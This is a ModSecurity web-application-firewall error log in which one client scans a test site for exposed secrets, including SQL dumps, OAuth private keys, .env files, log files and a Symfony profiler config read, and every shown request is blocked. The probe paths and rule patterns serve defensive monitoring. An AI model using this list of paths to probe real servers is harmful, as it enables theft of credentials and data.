[Mon Jul 28 20:46:30.920139 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYHAAAAAU&quot;]
[Mon Jul 28 20:46:30.920316 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYHAAAAAU&quot;]
[Mon Jul 28 20:46:30.949471 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYHQAAAAU&quot;]
[Mon Jul 28 20:46:30.949797 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYHQAAAAU&quot;]
[Mon Jul 28 20:46:30.949978 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYHQAAAAU&quot;]
[Mon Jul 28 20:46:30.979171 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.sql&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYHgAAAAU&quot;]
[Mon Jul 28 20:46:30.979488 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.sql&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYHgAAAAU&quot;]
[Mon Jul 28 20:46:30.979671 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.sql&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYHgAAAAU&quot;]
[Mon Jul 28 20:46:31.008714 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress.sql&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYHwAAAAU&quot;]
[Mon Jul 28 20:46:31.009037 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress.sql&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYHwAAAAU&quot;]
[Mon Jul 28 20:46:31.009216 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress.sql&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYHwAAAAU&quot;]
[Mon Jul 28 20:46:31.038157 2025] [authz_core:error] [pid 1530492] [client 185.177.72.201:44428] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Mon Jul 28 20:46:31.097499 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;parameters.yml&quot; at ARGS:file. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;96&quot;] [id &quot;930120&quot;] [msg &quot;OS File Access Attempt&quot;] [data &quot;Matched Data: parameters.yml found within ARGS:file: app/config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dev.php/_profiler/open&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYIgAAAAU&quot;]
[Mon Jul 28 20:46:31.097929 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dev.php/_profiler/open&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYIgAAAAU&quot;]
[Mon Jul 28 20:46:31.098128 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dev.php/_profiler/open&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYIgAAAAU&quot;]
[Mon Jul 28 20:46:31.127126 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-private.key&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYIwAAAAU&quot;]
[Mon Jul 28 20:46:31.127439 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-private.key&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYIwAAAAU&quot;]
[Mon Jul 28 20:46:31.127626 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-private.key&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYIwAAAAU&quot;]
[Mon Jul 28 20:46:31.156714 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-public.key&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYJAAAAAU&quot;]
[Mon Jul 28 20:46:31.157044 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-public.key&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYJAAAAAU&quot;]
[Mon Jul 28 20:46:31.157241 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-public.key&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYJAAAAAU&quot;]
[Mon Jul 28 20:46:31.186239 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/stack.log&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYJQAAAAU&quot;]
[Mon Jul 28 20:46:31.187267 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/stack.log&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYJQAAAAU&quot;]
[Mon Jul 28 20:46:31.187465 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/stack.log&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYJQAAAAU&quot;]
[Mon Jul 28 20:46:31.216535 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/debug.log&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYJgAAAAU&quot;]
[Mon Jul 28 20:46:31.216868 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/debug.log&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYJgAAAAU&quot;]
[Mon Jul 28 20:46:31.217043 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/debug.log&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYJgAAAAU&quot;]
[Mon Jul 28 20:46:31.863119 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.example&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYOgAAAAU&quot;]
[Mon Jul 28 20:46:31.863328 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.example&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYOgAAAAU&quot;]
[Mon Jul 28 20:46:31.863549 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.example&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYOgAAAAU&quot;]
